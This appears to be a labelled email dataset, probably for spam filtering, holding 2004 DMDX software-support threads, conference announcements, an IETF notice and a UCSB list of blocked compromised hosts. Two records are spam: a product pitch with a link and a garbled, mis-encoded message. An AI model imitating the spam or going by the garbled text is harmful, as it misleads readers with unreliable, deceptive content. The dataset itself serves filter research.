for future research. Thanks again, Stuart. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Oct 2004 09:01:43 -0700",[DMDX] Re: DMDX 3.1.0.0,"At 11:17 AM 10/15/2004 +0100, you wrote: >Dear Jonathan, > >I imagine my views are echoed by many, but thank you very much for adding >support for touchscreen devices into DMDX. I think there are a number of >us who, had the funds been available, would have gladly helped to sponsor >such a change, and I'm certain that it will prove extremely useful for >future research. It was needed for a task here and I'd more or less designed the changes to the code in my head some time ago so it was happening regardless. And the mouse I tossed in because (a) I just know I'll get people clamoring for it and (b) it was relatively easy to add there and then so I did. Of course I just realized it won't handle multimon installations of DMDX but that's for the future... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are three ways to get something done - do it yourself, hire someone to do it, or ask your kids not to do it. - Malcolm L. Kushner ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Oct 2004 16:31:40 -0700",[DMDX] DMDX 3.1.1.0,"To facilitate fixed time experiments the timeout value can now bet set with a counter. Timeout Keyword T parameter and switch alternative. Sets the subject response timeout in milliseconds to N1 or the switch version can take the value of counter N2 (at item parsing time), default value is 4000ms. The ability to use a counter exists primarily to facilitate fixed time experiments where the subject only gets a certain time to respond to as many items as they can: +250 ""#########""/*""RELUCTANT""/; +250 ""#########""/*""LANDSCAPE""/ ; -250 ""#########""/*""CORTINDON""/ ; -250 ""#########""/*""SPORINTIC""/ ; ... 999 L ""End of Experiment""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All things are possible except skiing thru a revolving door.",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sat, 16 Oct 2004 10:36:42 -0600","SCAN'04, SCAN'06, and beyond","Dear Friends, A few days ago, we had a 11th GAMM-IMACS International Symposium on Scientific Computing, Computer Arithmetic, and Validated Numerics SCAN'2004 in Fukuoka, Japan. This was the first SCAN meeting outside Europe. It was a very productive, very successful, and a very well organized meeting. Many thanks to the organizers, especially to the Conference Chair Professor Mitsuhiro T. Nakao! The next SCAN meeting will be held in Duisburg, Germany, in October 2006. The Conference Chair for SCAN'06 is Professor Wolfram Luther from the University of Essen-Duisburg. The 2008 SCAN meeting is scheduled to be in El Paso, Texas. Thanks again. Vladik ",0,0 Vladik Kreinovich ,rueher@essi.fr,"Sat, 16 Oct 2004 15:17:38 -0600",Re: Update of Interval Computations site,"Added, thanks a lot. I am forwarding this message to the interval mailing list to let everyone know. Vladik Dear Vladik, Could you add the following information on the Interval Computation site, section ""Software and Languages"" (http://www.cs.utep.edu/interval-comp/intsoft.html): a) The ALIAS library ( Algorithms Library of Interval Analysis for Systems )with the following llinks http://www-sop.inria.fr/coprin/developpements/main.html and http://www-sop.inria.fr/coprin/index_english.html b) ICOS (Interval COnstraints Solver) with the following link http://www-sop.inria.fr/coprin/ylebbah/icos/ Thanks in anticipations, Best regards, Michel -- Michel Rueher Projet COPRIN, I3S/CNRS/INRIA Université de Nice - Sophia Antipolis, ESSI, BP 145 06903 Sophia Antipolis France http://www.essi.fr/~rueher Ph: (33) 4 92 96 51 54 / (33) 4 92 38 75 55 fax: (33) 4 92 96 50 55 ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sat, 16 Oct 2004 16:12:25 -0600",InTech'04: deadline for poster presentations extended,"The deadline for posters for InTech'04 has been extended to November 15, 2004. Please note that this conference has a session on uncertainty in which interval-related papers are very welcome. The Fifth International Conference on Intelligent Technologies InTech'04 URL: http://csc.csudh.edu/intech04/ Houston, Texas, December 2-4, 2004 ",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Sun, 17 Oct 2004 21:14:53 -0600",[SIPTA] Call for Papers - ISIPTA '05," ------------- Begin Forwarded Message ------------- X-Sender: zaffalon@melanzana.idsia.ch Your help with circulating this announcement locally is much appreciated. Apologies for multiple postings. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ISIPTA '05 4th International Symposium on Imprecise Probabilities and Their Applications Preliminary Call for Papers July 20-23, 2005 Carnegie Mellon University Pittsburgh, Pennsylvania, USA http://www.sipta.org/isipta05 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The ISIPTA meetings are one of the primary international forums to present and discuss new results on the theory and applications of imprecise probabilities. Imprecise probability has a wide scope, being a generic term for the many mathematical or statistical models which measure chance or uncertainty without sharp numerical probabilities. These models include belief functions, Choquet capacities, comparative probability orderings, convex sets of probability measures, fuzzy measures, interval-valued probabilities, possibility measures, plausibility measures, and upper and lower expectations or previsions. Imprecise probability models are needed in inference problems where the relevant information is scarce, vague or conflicting, and in decision problems where preferences may also be incomplete. Themes of the symposium ----------------------- Although the symposium will be open to contributions on all aspects of imprecise probability, three main themes will be emphasised: decision-making, algorithms, and real applications. Topics of interest include, but are not limited to: models of coherent imprecise assessments convex sets of probability measures (credal sets) interval-valued probabilities upper and lower expectations or previsions non-additive set functions, and in particular Choquet capacities (and Choquet integration), fuzzy measures, possibility measures, belief and plausibility measures random sets rough sets comparative probability orderings qualitative reasoning about uncertainty imprecision in utilities and expected utilities limit laws for imprecise probabilities physical models of imprecise probability philosophical foundations for imprecise probabilities psychological models for imprecision and indeterminacy in probability assessments elicitation techniques for imprecise probabilities robust statistics probabilistic bounding analysis data mining with imprecise probabilities/missing data estimation and learning of imprecise probability models decision making with imprecise probabilities ambiguity aversion and economic models of imprecise probability uncertainty in financial markets algorithms for manipulating imprecise probabilities Dempster-Shafer theory information algebras and probabilistic argumentation systems probabilistic logic, propositional and first-order credal networks and other graphical models credal classification applications in statistics, economics, finance, management, engineering, computer science and artificial intelligence, psychology, philosophy and related fields Workshop on Financial Risk Assessment ------------------------------------- There will be a workshop addendum to the conference, to be held on July 24, with invited speakers on the topic of financial risk assessment, to which all of the ISIPTA'05 participants are welcome, at no additional registration cost. Details will be announced later. Location -------- ISIPTA '05 will be held at Carnegie Mellon University, in Pittsburgh, Pennsylvania, United States. Important dates --------------- Paper submission deadline: February 10 2005 Notification of acceptance: April 1 2005 Deadline for revised papers: May 1 2005 Symposium: July 20-23 2005 Submissions ----------- Details on format will be announced later (submission will be electronic at the web site). Program Board ------------- Fabio Cozman (Universidade de Sao Paulo, Brazil) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Steering Committee ------------------ Gert de Cooman (Universiteit Gent, Belgium) Fabio G. Cozman (Universidade de São Paulo, Brazil) Serafin Moral (Universidad de Granada, Spain) Robert Nau (Duke University, USA) Teddy Seidenfeld (Carnegie Mellon University, USA) Marco Zaffalon (IDSIA-Istituto Dalle Molle di Studi sull'Intelligenza Artificiale, Switzerland) Questions --------- If you have any questions about the symposium, please contact the Organising Committee preferably by email (teddy@stat.cmu.edu - fgcozman@usp.br), or at the following address: Teddy Seidenfeld Department of Statistics Carnegie Mellon University Pittsburgh PA 15213 Phone: 412 - 268 - 2209 Fax: 412 - 268 - 1440 (If you did not receive this e-mail through a mailing list and you do not want to receive further announcements concerning ISIPTA '05, please reply to this message writing ""remove"" in the body of the e-mail.) ------------- End Forwarded Message ------------- ",0,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Oct 2004 11:51:41 +1000",[DMDX] error width in analyse,"Hello all I have been trying to run analyse and asking for error width 7, rather than the default of 5, because the data are from children with many 100.0 responses. However, analyse does not work with error width specified. Does anybody have any clues. The version I am using is 2.03. Many thanks Virginia Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 18 Oct 2004 19:21:41 -0700",[DMDX] Re: error width in analyse,"At 11:51 AM 10/19/2004 +1000, you wrote: >Hello all > >I have been trying to run analyse and asking for error width 7, rather >than the default of 5, because the data are from children with many 100.0 >responses. However, analyse does not work with error width >specified. Does anybody have any clues. The version I am using is 2.03. Works for me, what does your specification look like? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are three ways to get something done - do it yourself, hire someone to do it, or ask your kids not to do it. - Malcolm L. Kushner ",0,0 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Oct 2004 13:25:59 +1000",[DMDX] Re: error width in analyse,"Hi Jonathan This is what my file looks like. it works if I take out err width or put # in front. Analyse stops when it gets to the end of the cutoff. Many thanks, Virginia title: Multiplication problems - List a (Small answer) - new classif data_threshold: 2.0 low_cutoff: 300 high_cutoff: 3000 RT_width: 7 RT_precision: 0 ERR_width: 7 ERR_precision: 1 condition: 1 name: 1 - Easy items: 10 2 23 1 5 6 11 17 14 18 7 15 22 21 9 condition: 2 name: 2 - Moderate items: 12 19 13 3 20 4 16 condition: 3 name: 3 - Hard items: 8 Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ",0,0 ,,,,"i9JH89Kg003229 for ; Tue, 19 Oct 2004 10:08:09 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1CJxSm-000NDE-VY; Tue, 19 Oct 2004 10:07:56 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1CJxR3-000ND8-VE for csf@ucsb.edu; Tue, 19 Oct 2004 10:06:09 -0700 Received: from bodega.oit.ucsb.edu ([128.111.12.59]) by smtp.ucsb.edu with asmtp TLSv1:RC4-SHA:128 id 1CJxR3-000ND3-LU for csf@ucsb.edu; Tue, 19 Oct 2004 10:06:09 -0700 Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <2ADC567C-21F1-11D9-98AE-000A95BC7718@UCSB.edu> Content-Transfer-Encoding: 7bit From: E. Todd Atkins Date: Tue, 19 Oct 2004 10:06:07 -0700 To: csf@ucsb.edu X-Mailer: Apple Mail (2.619) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. 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If you find any rogue services running, please include the type of service and the port that it was using. *** Filtered Hosts *** 128.111.20.188 dhcp20-188.wirelesstest.ucsb.edu 128.111.32.238 A32238.resnet.ucsb.edu 128.111.33.150 SC33150.resnet.ucsb.edu 128.111.37.122 SR37122.resnet.ucsb.edu 128.111.37.155 SR37155.resnet.ucsb.edu 128.111.38.253 SR38253.resnet.ucsb.edu 128.111.60.112 hal-601.ece.ucsb.edu 128.111.68.13 -- 128.111.75.156 MZ75156.resnet.ucsb.edu 128.111.77.78 santa.crss.ucsb.edu 128.111.82.65 superman.chemengr.ucsb.edu 128.111.83.146 mfd2.chemengr.ucsb.edu 128.111.83.182 seppia.chemengr.ucsb.edu 128.111.87.54 baltimore.alexandria.ucsb.edu 128.111.92.213 -- 128.111.96.23 edr-laptop.sdc.ucsb.edu 128.111.99.49 -- 128.111.108.65 host108-65.lsdepts.ucsb.edu 128.111.108.192 host108-192.lsdepts.ucsb.edu 128.111.110.191 -- 128.111.110.225 -- 128.111.111.96 -- 128.111.138.165 -- 128.111.141.27 -- 128.111.142.145 -- 128.111.142.221 -- 128.111.159.37 -- 128.111.159.81 -- 128.111.160.8 -- 128.111.162.154 ntvideoserver.id.ucsb.edu 128.111.164.39 jfks-dell.materials.ucsb.edu 128.111.174.6 -- 128.111.180.208 SM180208.resnet.ucsb.edu 128.111.181.68 R18168.resnet.ucsb.edu 128.111.181.75 R18175.resnet.ucsb.edu 128.111.181.167 R181167.resnet.ucsb.edu 128.111.181.238 R181238.resnet.ucsb.edu 128.111.196.170 SY196170.resnet.ucsb.edu 128.111.196.249 SY196249.resnet.ucsb.edu 128.111.197.55 SY19755.resnet.ucsb.edu 128.111.197.111 SY197111.resnet.ucsb.edu 128.111.197.145 SY197145.resnet.ucsb.edu 128.111.198.140 ED198140.resnet.ucsb.edu 128.111.198.164 ED198164.resnet.ucsb.edu 128.111.198.165 ED198165.resnet.ucsb.edu 128.111.198.222 ED198222.resnet.ucsb.edu 128.111.200.24 FSH20024.resnet.ucsb.edu 128.111.200.124 FSH200124.resnet.ucsb.edu 128.111.200.126 FSH200126.resnet.ucsb.edu 128.111.200.137 FSH200137.resnet.ucsb.edu 128.111.200.166 FSH200166.resnet.ucsb.edu 128.111.200.173 FSH200173.resnet.ucsb.edu 128.111.200.183 FSH200183.resnet.ucsb.edu 128.111.200.201 FSH200201.resnet.ucsb.edu 128.111.200.224 FSH200224.resnet.ucsb.edu 128.111.200.231 FSH200231.resnet.ucsb.edu 128.111.200.234 FSH200234.resnet.ucsb.edu 128.111.200.245 FSH200245.resnet.ucsb.edu 128.111.200.247 FSH200247.resnet.ucsb.edu 128.111.201.7 FSH2017.resnet.ucsb.edu 128.111.201.10 FSH20110.resnet.ucsb.edu 128.111.201.29 FSH20129.resnet.ucsb.edu 128.111.201.45 FSH20145.resnet.ucsb.edu 128.111.201.47 FSH20147.resnet.ucsb.edu 128.111.201.49 FSH20149.resnet.ucsb.edu 128.111.201.76 FSH20176.resnet.ucsb.edu 128.111.201.113 FSH201113.resnet.ucsb.edu 128.111.201.125 FSH201125.resnet.ucsb.edu 128.111.201.141 FSH201141.resnet.ucsb.edu 128.111.201.142 FSH201142.resnet.ucsb.edu 128.111.201.204 FSH201204.resnet.ucsb.edu 128.111.201.206 FSH201206.resnet.ucsb.edu 128.111.201.223 FSH201223.resnet.ucsb.edu 128.111.202.141 EDW202141.resnet.ucsb.edu 128.111.202.150 EDW202150.resnet.ucsb.edu 128.111.202.220 EDW202220.resnet.ucsb.edu 128.111.216.93 host216-93.lsdepts.ucsb.edu 128.111.219.160 host219-160.lsdepts.ucsb.edu 128.111.221.34 moon.mat.ucsb.edu 128.111.221.35 southhall-3-wl.mat.ucsb.edu 128.111.221.51 dhcp06.mat.ucsb.edu 128.111.225.205 hp.econ.ucsb.edu 128.111.229.211 -- 128.111.229.220 -- 128.111.229.228 -- 128.111.229.252 -- 128.111.247.63 -- 128.111.248.48 SN24848.resnet.ucsb.edu 128.111.248.116 SN248116.resnet.ucsb.edu 128.111.248.136 SN248136.resnet.ucsb.edu 128.111.248.153 SN248153.resnet.ucsb.edu 128.111.248.157 SN248157.resnet.ucsb.edu 128.111.248.186 SN248186.resnet.ucsb.edu 128.111.248.218 SN248218.resnet.ucsb.edu 128.111.248.244 -- Filtered Hosts ............................... 95 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu https://ucsb.edu/mailman/listinfo/csf",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Oct 2004 14:07:35 -0700",[DMDX] Analyze 2.04," Ok, fixed the problems that were giving Virginia problems with ANALYZE 2.04. First I had an offset set incorrectly for error precision parameters and for some reason when I wrote the code a number of parameters weren't displaying any error message when they hit a syntax error -- now they do... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All things are possible except skiing thru a revolving door. ",0,0 Virginia Holmes ,DMDX@psy1.psych.arizona.edu,"Wed, 20 Oct 2004 10:04:59 +1000",[DMDX] Re: Analyze 2.04,"Hi Jonathan Many thanks for fixing analyse. It just saves me having to reformat the das file when the numbers run together. Thanks again, Virginia At 02:07 PM 19/10/2004 -0700, you wrote: > Ok, fixed the problems that were giving Virginia problems with ANALYZE > 2.04. First I had an offset set incorrectly for error precision > parameters and for some reason when I wrote the code a number of > parameters weren't displaying any error message when they hit a syntax > error -- now they do... > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > All things are possible except skiing thru a revolving door. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== A. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville, Vic, 3010, Australia phone: 61 3 8344 6368 facs: 61 3 9347 6618 email: v.holmes@psych.unimelb.edu.au ",0,1 Marcel ,Steffen ,"Tue, 19 Oct 2004 09:36:24 -1100",gotta second for me,"You still wanna to suprise ur significant other with ur unit. If so forget about it. Stop by here at http://www.stearedmetowardsiw.com/taw/. the dreams. Jaggers nothingness Another student into a of newfound show, John Keatings and Later Marcel. ",1,1 Jean-Pierre Merlet ,reliable_computing@interval.louisiana.edu,"Wed, 20 Oct 2004 15:46:23 +0200",On line interval solver,"Dear All: Just a complement to the message of Vladik and Michel Rueher. You will find at http://www-sop.inria.fr/coprin/index_english.html an on-line interface to the ALIAS solver that allows one to submit a system of up to 5 equations/inequalities and (maybe..) get the solutions of the system. The computation time is limited to 5 minutes. Best J-P. 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Trolls are slow in the uptake, and mighty suspicious about anything new to them. ",1,1 Rebecca Greenaway ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 2004 18:06:20 +0100",[DMDX] Mapping four PIO12 responses,"Hi, I have just designed a multiple response experiment and have had a four-button response box made to go with it. I have previously used a two-button response box mapping the responses to Bit1 and Bit2. I assumed that I would be able to do the same using responses Bit1, Bit2, Bit3 and Bit4, however, only the Bit1 and Bit2 responses work. When I do the timedx pio test the buttons correspond to 1, 2, 3 and 4 are activated respectively. Also the experiment works fine if I use four keyboard buttons. Was I wrong to assume that I could map these 4 buttons? Also a separate but related enquiry: is it possible to map a positive or negative response and a request response to the same button? Thanks in advance, Best wishes, Rebecca ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 2004 10:57:21 -0700",[DMDX] Re: Mapping four PIO12 responses,"At 06:06 PM 10/21/2004 +0100, you wrote: >Hi, > >I have just designed a multiple response experiment and have had a >four-button response box made to go with it. Hey, someone else besides me makes response boxes, cool. > I have previously used a two-button response box mapping the responses > to Bit1 and Bit2. I assumed that I would be able to do the same using > responses Bit1, Bit2, Bit3 and Bit4, however, only the Bit1 and Bit2 > responses work. When I do the timedx pio test the buttons correspond to > 1, 2, 3 and 4 are activated respectively. Also the experiment works fine > if I use four keyboard buttons. Was I wrong to assume that I could map > these 4 buttons? The PIO has an additional level of customization that masks out bits that aren't used, the MIP word. You need . You'll also want to have and in the parameter line after the as the tape pulse by default is bit 3 and the voice key bit 4 -- when I construct extra button response boxes I usually use bits 5 and 6 to avoid having to unmap those responses. Not that this usually causes problems as any positive or negative mappings will take precedence but it's safer than sorry. >Also a separate but related enquiry: is it possible to map a positive or >negative response and a request response to the same button? No. You can do it but only the first button found will generate a response (which is why you could get away without and ). While I admit this would solve some problems it also stands a significant chance of creating several others and due to race conditions not actually solving the problem in any event (for instance DMDX is usually not ready to receive a request within microseconds of a response). Each time I've been confronted with a task that's looked like it's needed that sort of solution there have been other ways of doing it and I'm always happy to suggest solutions here. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ First Law of Advice: The correct advice is to give the advice that is desired.",0,0 Internet-Drafts@ietf.org,i-d-announce@ietf.org,"Thu, 21 Oct 2004 15:43:42 -0400",I-D ACTION:draft-mesta-nfsv4-domain-00.txt,"A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : NFSv4 Cross-Domain Considerations Author(s) : R. Mesta Filename : draft-mesta-nfsv4-domain-00.txt Pages : 9 Date : 2004-10-21 The purpose of this document is to elicit discussion on configuration schemes for determining the domain name to be used by NFSv4 implementations that do not natively support users and groups from multiple domains. This document also describes a method by which NFSv4 clients and servers can discover a domain name value appropriate for qualifying NFSv4 user and group names, by leveraging DNS TXT resource records. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-mesta-nfsv4-domain-00.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username ""anonymous"" and a password of your e-mail address. After logging in, type ""cd internet-drafts"" and then ""get draft-mesta-nfsv4-domain-00.txt"". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: ""FILE /internet-drafts/draft-mesta-nfsv4-domain-00.txt"". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the ""mpack"" utility. To use this feature, insert the command ""ENCODING mime"" before the ""FILE"" command. To decode the response(s), you will need ""munpack"" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with ""multipart"" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. ",0,1 Michelle Givertz ,dmdx listserve ,"Thu, 21 Oct 2004 15:33:48 -0700",[DMDX] timing problem,"Hi. I'm having some problems with timing, and I'm wondering if anyone might have any suggestions for what I might be doing wrong. I've pasted in a copy of the first part of my script below. The timing is fine until I get to the section that contains the 20 items preceded by =11111, where it doesn't seem to matter what I specify, because each item runs approximately 2.5 seconds, instead of the 1.5 that I want. Any thoughts? Thanks, Michelle N162 F1 100 c; 101 %1 //; =99999 * ?Scan 1?/; =88888 *g?C:\\MY DOCUMENTS\\DANAprograms\\Iaps2\\crosshairVF.bmp?/; =11111*?pan? @0, ?pan? @1/; =11111*?mirror? @-1, ?mirror? @0, ?mirror? @1, ?mirror? @2/; =11111*?fan?/; =11111*?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1, ?dishwasher? @2 /; =11111* ?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1 /; =11111*?corridor? @0, ?corridor? @1 /; =11111*?closet? @-1, ?closet? @0, ?closet? @1 /; =11111*?cellar? @-1, ?cellar? @0, ?cellar? @1, ?cellar? @2 /; =11111*?mixer? @-1, ?mixer? @0, ?mixer? @1 /; =11111*?glass? @0, ?glass? @1 /; =11111*?bowl?/; =11111*?cellar? @0, ?cellar? @1 /; =11111*?porch? @-1, ?porch? @0, ?porch? @1/; =11111*?closet? @-1, ?closet? @0, ?closet? @1, ?closet? @2 /; =11111* ?pan? @-1, ?pan? @0, ?pan? @1/; =11111*?cabinet? @-1, ?cabinet? @0, ?cabinet? @1 /; =11111*?cellar? @0, ?cellar? @1 /; =11111*?mailbox? @-1, ?mailbox? @0, ?mailbox? @1/; =11111*?porch? @-1, ?porch? @0, ?porch? @1 /; =11111*?tables? @-1, ?tables? @0, ?tables? @1/; Michelle Givertz, Ph.D. Research Specialist, Senior Department of Psychiatry University of Arizona (520)626-8568",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 2004 16:25:53 -0700",[DMDX] Re: timing problem,"Your timeout is 2500, you probably want to lower it to under 1500... At 03:33 PM 10/21/2004 -0700, you wrote: >Hi. I'm having some problems with timing, and I'm wondering if anyone >might have any suggestions for what I might be doing wrong. I've >pasted in a copy of the first part of my script below. The timing is >fine until I get to the section that contains the 20 items preceded by >=11111, where it doesn't seem to matter what I specify, because >each item runs approximately 2.5 seconds, instead of the 1.5 that I >want. Any thoughts? Thanks, Michelle > > > >N162 > > 800 600 600 16 75> F1 > > >100 c; >101 %1 //; > >=99999 * ?Scan 1?/; > >=88888 *g?C:\\MY >DOCUMENTS\\DANAprograms\\Iaps2\\crosshairVF.bmp?/; > >=11111*?pan? @0, ?pan? @1/; >=11111*?mirror? @-1, ?mirror? @0, ?mirror? @1, ?mirror? >@2/; >=11111*?fan?/; >=11111*?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1, >?dishwasher? @2 /; >=11111* ?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1 >/; >=11111*?corridor? @0, ?corridor? @1 /; >=11111*?closet? @-1, ?closet? @0, ?closet? @1 /; >=11111*?cellar? @-1, ?cellar? @0, ?cellar? @1, ?cellar? >@2 /; >=11111*?mixer? @-1, ?mixer? @0, ?mixer? @1 /; >=11111*?glass? @0, ?glass? @1 /; >=11111*?bowl?/; >=11111*?cellar? @0, ?cellar? @1 /; >=11111*?porch? @-1, ?porch? @0, ?porch? @1/; >=11111*?closet? @-1, ?closet? @0, ?closet? @1, ?closet? >@2 /; >=11111* ?pan? @-1, ?pan? @0, ?pan? @1/; >=11111*?cabinet? @-1, ?cabinet? @0, ?cabinet? @1 /; >=11111*?cellar? @0, ?cellar? @1 /; >=11111*?mailbox? @-1, ?mailbox? @0, ?mailbox? @1/; >=11111*?porch? @-1, ?porch? @0, ?porch? @1 /; >=11111*?tables? @-1, ?tables? @0, ?tables? @1/; > > >Michelle Givertz, Ph.D. >Research Specialist, Senior >Department of Psychiatry >University of Arizona >(520)626-8568 > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ First Law of Advice: The correct advice is to give the advice that is desired.",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Oct 2004 10:07:48 +0100",[DMDX] Re: timing problem," >each item runs approximately 2.5 seconds, instead of the 1.5 that I >want. Any thoughts? Thanks, Michelle > Your timeout is 2500, you probably want to lower it to under 1500... The timing bit of Matt Davis's DMDX for fMRI web page explains why this is so. http://www.mrc-cbu.cam.ac.uk/~matt.davis/fmri_dmdx.html#6 - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,1 ������ ,reliable_computing-outgoing@interval.louisiana.edu,"Fri, 22 Oct 2004 07:34:08 -0500",=================> :��:��: <-- �Ϸ� 220���̸� �����ϴ�. ���� ������ �� . j kvxta kupkp,cpeora uouogb,1,1 Michelle Givertz ,DMDX@psy1.psych.arizona.edu,"Fri, 22 Oct 2004 13:33:54 -0700",[DMDX] Re: timing problem,"Thanks to both Jonathan and Mike. That's seems to have done the trick. Michelle Quoting ""Jonathan C. Forster"" : > > Your timeout is 2500, you probably want to lower it to under > 1500... > > At 03:33 PM 10/21/2004 -0700, you wrote: > >Hi. I'm having some problems with timing, and I'm wondering if > anyone > >might have any suggestions for what I might be doing wrong. I've > >pasted in a copy of the first part of my script below. The timing > is > >fine until I get to the section that contains the 20 items preceded > by > >=11111, where it doesn't seem to matter what I specify, because > >each item runs approximately 2.5 seconds, instead of the 1.5 that I > >want. Any thoughts? Thanks, Michelle > > > > > > > >N162 > > > > > >800 600 600 16 75> F1 > > > > > >100 c; > >101 %1 //; > > > >=99999 * ?Scan 1?/; > > > >=88888 *g?C:\\MY > >DOCUMENTS\\DANAprograms\\Iaps2\\crosshairVF.bmp?/; > > > >=11111*?pan? @0, ?pan? @1/; > >=11111*?mirror? @-1, ?mirror? @0, ?mirror? @1, ?mirror? > >@2/; > >=11111*?fan?/; > >=11111*?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1, > >?dishwasher? @2 /; > >=11111* ?dishwasher? @-1, ?dishwasher? @0, ?dishwasher? @1 > >/; > >=11111*?corridor? @0, ?corridor? @1 /; > >=11111*?closet? @-1, ?closet? @0, ?closet? @1 /; > >=11111*?cellar? @-1, ?cellar? @0, ?cellar? @1, ?cellar? > >@2 /; > >=11111*?mixer? @-1, ?mixer? @0, ?mixer? @1 /; > >=11111*?glass? @0, ?glass? @1 /; > >=11111*?bowl?/; > >=11111*?cellar? @0, ?cellar? @1 /; > >=11111*?porch? @-1, ?porch? @0, ?porch? @1/; > >=11111*?closet? @-1, ?closet? @0, ?closet? @1, ?closet? > >@2 /; > >=11111* ?pan? @-1, ?pan? @0, ?pan? @1/; > >=11111*?cabinet? @-1, ?cabinet? @0, ?cabinet? @1 /; > >=11111*?cellar? @0, ?cellar? @1 /; > >=11111*?mailbox? @-1, ?mailbox? @0, ?mailbox? @1/; > >=11111*?porch? @-1, ?porch? @0, ?porch? @1 /; > >=11111*?tables? @-1, ?tables? @0, ?tables? @1/; > > > > > >Michelle Givertz, Ph.D. > >Research Specialist, Senior > >Department of Psychiatry > >University of Arizona > >(520)626-8568 > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by 